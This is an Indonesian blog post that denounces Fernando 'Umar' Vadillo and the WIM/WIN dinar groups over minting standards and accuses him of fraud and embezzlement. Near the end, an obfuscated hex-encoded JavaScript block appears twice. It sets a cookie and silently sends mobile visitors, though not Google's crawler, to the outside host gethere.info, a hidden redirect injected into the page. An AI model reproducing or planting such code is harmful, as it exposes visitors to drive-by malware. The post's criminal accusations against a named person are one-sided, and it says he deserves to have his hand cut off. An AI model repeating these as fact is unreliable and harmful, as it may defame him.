A Refutation To Deviate Statement of Fernando ‘Umar’ Vadillo

Where-Is-The-Gold

Fernando ‘Umar’ Vadillo Adalah Penipu Yang Sebenarnya. Pencipta Dinar Cacat Dan Pseudo Mint WIM (lihat detail catatan publik, bagian bawah)

Bismillahirrahmanirrahim. Setelah hampir empat tahun berlalu, maka ini saatnya kami merasa perlu memberikan klarifikasi mengenai pernyataan menyimpang dari seseorang dengan titel profesor palsu ataupun titel lain yang tidak jelas kualifikasinya apa? pernyataan murahan itu selama ini disebarkan oleh direktur WIN atau Wakala Induk Nusantara  melalui website mereka untuk meyakinkan publik bahwa seakan-akan itu benar dan tentu itu berguna untuk juga ini untuk membentuk opini publik. Dengan berjalannya waktu, dapat kita lihat apa yang terjadi, ternyata tuduhan sesat dan penipu dari orang Spanyol itu telah berbalik kepada dirinya, orang ini bernama Fernando ‘Umar’ Vadillo Goicoechea.

Pernyataan menyimpang dari ‘Umar’ Vadillo lebih banyak di dasarkan kepada prasangka, jauh dari benar dan tentu ini sebuah indikasi untuk dapat mengggambarkan kondisi boneka disekeliling orang ini sebagai pemain watak yang baik. Vadillo sendiri tidak pernah melakukan klarifikasi langsung kepada saya atas pernyataannya itu. Dan kemudian indikasi tersebut terpapar hari ini. Saya akan jelaskan satu persatu mengenai kekeliruan dan kebohongan pernyataan orang ini dan saya juga akan menambahkan catatan publik tersendiri (pada bagian akhir tulisan) mengenai urusan dinar dan dirham terkait Fernando ‘Umar’ Vadillo. Beberapa hal tersebut adalah:

Pertama. IMN bukanlah sebuah institusi bisnis ataupun bersifat pribadi, tetapi ini adalah sebuah pencetakan mandiri untuk dinar dan dirham yang dikerjakan secara swadaya, berdasarkan wakaf dari saya dan beberapa muslim di Jakarta yang berkemauan kuat untuk mengerjakannya sampai berjalan. Semua hal kami persiapkan dan dikerjakan sendiri baik material ataupun berbagai urusan teknis, tujuan kami adalah untuk mempermudah muslim mendapatkan dinar dan dirham, memerangi riba dan tidak bergantung kepada pihak ketiga, dinar dan dirham secara global ini baru dimulai ketika kami datang pada tahun 1999, saat itulah kapal mulai berlayar.

Kedua. Ketika pertama sekali saya memulai urusan ini adalah untuk mempelajari Ihsan dari seorang mursyid, bukan ada niat lain, Ihsan mendorong sesorang mengenali berbagai kebenaran dan sekaligus juga kepalsuan, karena Ihsan adalah bagian penting dalam Islam bagi seorang muslim, tujuannya bukan dinar dan dirham. Jadi tidak sepenuhnya benar jika di katakan saya datang kepada orang ini untuk belajar dinar dan dirham, sejak kapan?. Perjalanan terpenting dari hal ini bukanlah belajar dinar dan dirham, bukan itu, kalau hanya belajar dinar dan dirham  saya mempelajari dengan cepat, bukan bermaksud ujub atau riya, dengar Vadillo saya membuat koreksi atas apa yang katanya kamu kerjakan itu. Dinar dan dirham hanya dapat berjalan dengan kemurnian, diluar itu adalah keributan dan nafsu. Setiap dinar dan dirham Nabawi yang di cetak karena niat semata karena ketakwaaan jauh itu lebih baik dari seribu buku yang kamu tulis.

Ketiga. Saya dengan beberapa orang muslim yang saat itu mengikuti urusan ini, merintis urusan pencetakan dan berbagai hal penting, akhirnya memilih hijrah dari dari kelompok ini, bukan karena memutuskan sumpah, kami membuang sumpah itu, bagi saya ataupun kami tidak ada sumpah terhadap penipu atau  orang yang berkhianat dan bermain dibelakang punggung saya saat itu. Dalam pandangan kami Umar Vadillo atau boneka dia bernama WIN ini bukan otoritas apapun dari siapapun, selain kepada kelompok mereka sendiri. Dan banyak hikmah yang saya lihat dari hal ini. Bukan berapa banyak dinar dan dirham yang dijual atau kepopuleran.

Keempat. Pernyataan Umar Vadilo berikut ini yang tidak benar adalah mengatakan bahwa kami meniru ‘standar’ WIM dan juga mengatakan saya dan  IMN sesat karena telah mengkoreksi mithqal yang dia anggap itu sebagai satu-satunya ‘standar’ oleh WIM. Yang betul adalah Umar Vadillo atau WIM atau WIN melakukan plagiat terhadap standar 1 mithqal 4.25 gr (9999) yang awalnya bersumber dari fikih Zakat kontemporer atau perbankan Islam, perlu diketahui bersama bahwa ‘standar’ WIM ini bukanlah hasil penelitian tukang obat dari Spanyol ini. Sungguh ironis bukan? mengatakan amal madinah? lalu dari bagaimana bisa kamu menggunakan sumber mithqal dari fikih zakat kontemporer dan mengatakan itu ‘standar’ WIM? . Silahkan baca penjelasan disini Standar Dinar Dan Dirham Dalam Sejarah Dan Fikih Islam

Yang diam itu bukan berarti tidak tahu, yang tidak terlihat itu bukan berarti tidak hadir dan menyaksikan.

Pada kenyataannya apa yang disebut ‘standar’ WIM  dengan 1 Dinar 4.25 (91.6),  menyimpang dari ketetapan nishab  fikih zakat kontemporer sebesar 85  gram emas murni (dzahab). Dinar cacat dari WIM atau pun WIN tersebut tidak layak digunakan untuk untuk pembayaran zakat, karena tiada mencukupi nishab 85 gram emas tersebut, dinar tidak murni dari WIM ataupun WIN ini masuk dalam kategori perhiasan atau koin koleksi, jadi siapa yang sesat? Silahkan di buka dan dibaca  bab Zakat emas dan perak dari kitab Al Umm dan Al Muwattha. Baca juga ini Penjelasan Tentang Mengapa Dinar Adalah 24 Karat Bukan 22 Karat

Umar Vadillo dan kelompoknya ini menyatakan sebagai ‘otoritas’ dinar dan dirham,  dengan begitu akibat kekeliruan ini maka konsekuensi logisnya adalah Vadillo atau WIM ataupun WIN dapat diminta untuk bertanggung jawab untuk menarik semua dinar cacat ‘standar’ WIM. Kalian sekarang hendak menghilang? atau pura-pura tidak tahu?

Dikemudian hari saya dan anda bisa melihat, ternyata orang Spanyol ini menelan ludah dia sendiri, tidak tahu malu, dia mengikuti hasil penelitian dan ketetapan dari saya dan IMN yang dia katakan sesat (2010), Umar Vadillo dengan tiada harga diri pada akhirnya mengikuti Fatwa IMN tersebut, kata anda saya sesat? Jadi bagi yang mendengar dan membaca hal ini saya katakan bahwa ‘standar’ dinar dan dirham WIM atau WIN itu adalah keliru berat dan kadar dan merupakan hasil plagiat dari fikih kontemporer, ekonomi Islam atau perbankan Islam.

When the gold dinar and silver dirham of Kelantan were first introduced in 20 September 2006 I was invited to give the keynote address. At that time Umar Vadillo was not even in the picture yet, and I stressed the point that the dinar and dirham can be introduced mainly as an inflation hedge only and not as money, i.e. as means to protect one’s savings from being eroded by inflation. Nonetheless, Kelantan later relaunched its ‘first’ dinar again on 12 August 2010 as though the 2006 event did not take place. This time the launch was through a company, the Kelantan Gold Trade. (Prof Dr. Ahamed Kameel, IIUM, Malaysia)

Dari kutipan di atas diketahui bahwa dinar dan dirham Kelantan telah diperkenalkan pada 20 September tahun 2006 dan pada saat itu yang memberikan keynote address adalah Prof. Dr. Ahamed Kameel…

Hal lain yang perlu juga diluruskan kepada publik tidak sepenuhnya benar bahwa dinar dan dirham diperkenalkan pertamakali kembali oleh ‘Umar’ Vadillo ataupun berbagai klaim sepihak dari orang ini dan diikuti oleh kelompok buta mereka. Dinar dan dirham, pasar, adab jual beli dan muamalah telah diperkenalkan juga lebih awal oleh Shaykh Maulana Ilyas melalui atau Shaykh Mohammad Zakariya Khandalawi pada tahun 1979 melalui salah satu buku mereka Faza’il E Tijaarat, Presiden Libya Kolonel Muamar Gaddafi, ataupun juga oleh Shaykh Imran N. Hosein membicarakan dinar dan dirham, riba, uang kertas, Khalifah, Sultan dari sudut padang ilmu Eskatologi atau ilmu Akhir Zaman, Hizbut Tahrir (baru sebatas wacana) ataupun Dr. Mahatir Mohammad yang dapat melihat ini dalam proporsi yang luas dan terukur dan tidak ketinggalan Prof. Dr Ahamed Kameel berbicara bagaimana implementasi dinar dan dirham dengan analisa dan penerapan yang lebih bijaksana, tanpa  perlu dengan sensasi di Media.

Kepada semua umat muslim di Indonesia, Malaysia, Brunei, Singapore dan dimanapun, saya ingin mengingatkan bahwa apa yang dikerjakan Fernando ‘Umar’ Vadillo berlawanan dengan ucapannya, berbagai kejanggalan terjadi antara ucapan dan perbuatan orang ini terkait dinar dan dirham yang telah menimbulkan masalah yang tidak kecil, kini sementara waktu menghilang. Umar Vadillo dan klub sepak bola dinar mereka WIN turut serta melakukan plagiat itu, mereka saling tolong karena sudah terlanjur basah,  sebaiknya muslim jangan begitu saja menerima ucapan orang-orang ini yang kebanyakan jahil.  Umar Vadillo ternyata dialah penipu yang sebenarnya, yang juga menipu orang yang mengikutinya.

Dengan ini saya menyatakan dan perlu diketahui oleh semua muslim dimanapun bahwa saya ataupun IMN (Yogyakarta), DDTG (Malaysia, Indonesia, Brunei dan Singapore), 24 Qirats (Kuala Lumpur), SRDC (Brunei), INM (Capetown), Dinarrun (Canada), Syadzilli-Darqawi-Habibiya (Meknes, Maroko) sama sekali tidak ada hubungan dan bukan bagian dari Fernando ‘Umar’ Vadillo dan sekte Murabitun dalam hal dinar dan dirham baik secara langsung ataupun tidak langsung dimanapun. Mengenai istilah pasar, muamalah, khalifah, sultan, baitulmal, riba, fikih dan berbagai istilah lain adalah domain publik yang melekat sejak Islam ada dan berjalan, bukanlah milik sekte Murabitun. 

Demikian penjelasan singkat saya, bila di luar sana ada orang  atau pihak yang berusaha atau masih mengkaitkan saya ataupun kami dengan Umar Vadillo ataupun sekte Murabitun itu, maka itu adalah salah alamat dan tentu mempunyai maksud tertentu. Cukuplah Allah bagi kami dan Dialah sebaik-baik pelindung kami dari kafirun, musyrikun dan munafikun dan orang yang berpenyakit dalam hati.  Semoga kita semua diberikan petunjuk kepada jalan yang lurus. Amin.

Sidi Abbas Firman. 

Catatan Publik Terhadap Umar Vadillo Dan Murabitun
Mungkin hal ini perlu diberitahukan dan menjadi catatan publik untuk perjalanan dinar dan dirham ini. Mungkin tidak banyak yang mendengar dan tahu tentang peristiwa di Kelantan, Malaysia. dimana Fernando (Umar) Vadillo, dengan dalih ‘otoritas’ meletakan premium cetak untuk dinar dan dirham hingga 25 persen, terutama dinar cacat fikih tersebut. Bagaimana mungkin orang waras mau membeli koin tidak murni lebih mahal dari pada koin murni? apa karena anda meletakan nama Allah pada koin itu? lebih baik masyarakat membeli koin emas dan perak lain dengan premium cetak yang wajar, dan apakah kamu katakan dinar cacat kamu itu lebih baik? Betapa bodoh orang yang mau mendengarkan bualan tukang obat dari Spanyol ini menjual dinar cacat.

Nik Mahani

Orang inilah sebenarnya yang mempergunakan dinar dan dirham untuk kepentingan pribadinya atas nama Islam dan yang lebih menggelikan dia mengatakan menentang copyright tapi kenyataannya dia mengutip lisensi sebesar 1 persen dari setiap dinar dan dirham yang dicetak berdasarkan ‘otorisasi’ WIM dengan kendaraan bernama Kelantan Gold Trade digunakan untuk berkolaborasi dengan politikus lokal dari Malaysia, ilusi tukang obat ‘Murabitun’.

Lisensi_Fee-UV_WIM_700

Hampir bersamaan dengan skandal dinar kelantan, pada tahun 2012 terungkap juga penggelapan emas sebagai model investasi, apa yang terjadi? Fernando ‘Umar’ Vadillo melakukan penggelapan emas senilai US$ 1 Juta dan sejumlah uang sebesar US$ 250.000 dari seorang warga negara Jepang bernama Takao Kono dan salah seorang warga negara Perancis (Maroko) Muhammad Esfi, urusan ini berlanjut kepada kantor polisi setempat dan masuk pemberitaan media lokal Malaysia, Dia berhasil lolos dari tuduhan tersebut, polisi ‘lepas tangan’ dengan mengatakan penipuan tersebut terjadi di Dubai dan keduanya adalah warga negara asing (ada indikasi politikus partai lokal berperan atas lolosnya kasus orang Spanyol itu), kasus ini berhenti, karena tidak ada jalan keluar kasus pengelapan itu dilaporkan kepada Interpol oleh Takao Kono. Hari ini penipu Spanyol ini ‘melarikan diri’ ke Pakistan dan masih berkeliaran ke sana kemari, lalu bagaimana dengan emas senilai US$ 1 juta itu? tidak pernah kembali kepada investor Jepang tersebut, fisabilillah? impostor, sudah sepantasnya tangan orang ini dipotong.

Tidak lama setelah itu, beberapa bulan lalu di tahun 2014 telah terjadi juga kasus yang hampir mirip dengan Kelantan, atas sebuah proyek investasi yang disebut Altyn Dinar, di Astana, Kazakhstan, saya mendapat laporan langsung dari pihak Director of Innovative Technologies KZ LLP bahwa orang bernama Fernando ‘Umar’ Vadillo dan satu orang Kazakhstan bernama Gany Auyeskhanov juga dicari oleh mereka untuk dimintai pertanggung jawaban atas sejumlah uang yang sangat besar yang telah digunakan oleh kedua orang tersebut, saat ini pihak Innovative Technologies KZ LLP dan Kazakhstan Mint telah memberhentikan semua urusan dengan Umar Vadillo atau WIM.

Dan berbagai kasus  di atas terkait dinar dan dirham yang  tidak banyak di ketahui publik dan terselubung, mereka ini masih saja coba menampilkan diri seolah tinggi dalam agama tapi tidak diikuti dengan kemampuan memadai, selain rajin menghujat orang yang berbeda mereka pikir dinar dan dirham segalanya, orang Spanyol dan kumpulannya ini sungguh tidak punya malu.

Saran saya bagi muslim atau Sultan yang ingin mengerjakan dinar dan dirham ini hindari model dari sekte Murabitun ini. Belajar dan ikuti ulama alim yang memahami ilmu secara lengkap, bukan dari ‘shaykh’ penipu yang entah dari mana susunan gurunya. Dinar dan dirham seharusnya di cetak atas dasar wakaf, pahamilah fikih muamalah dan fikih jual-beli dari fakih yang memang mempunyai kualifikasi dalam hal itu. Kita semua bisa melaksanakan dinar dan dirham ini bukan atas dominasi kelompok atau klub sepakbola dinar dan dirham bernama WIM atau WIN.

Bagi semua pihak yang ingin mencetak dinar dan dirham sebagaimana mestinya, silahkan hubungi kami untuk bantuan teknis dan non teknis. Masyaallah la quwatta illa billah.

———————————————————————————————————
Baca juga,  Membongkar Ilusi Daya Beli Dirham Wakala Nusantara
Baca juga, Ilusi Daya Beli Dirham WIN Dalam Nisab Zakat Maal Perak
Baca juga, Kebohongan Dibalik Tulisan Awas Dinar Dan Dirham Ilegal
Pernyataan dari Prof Dr. Ahamed Kameel, silahkan baca di sini

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Advertisements

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s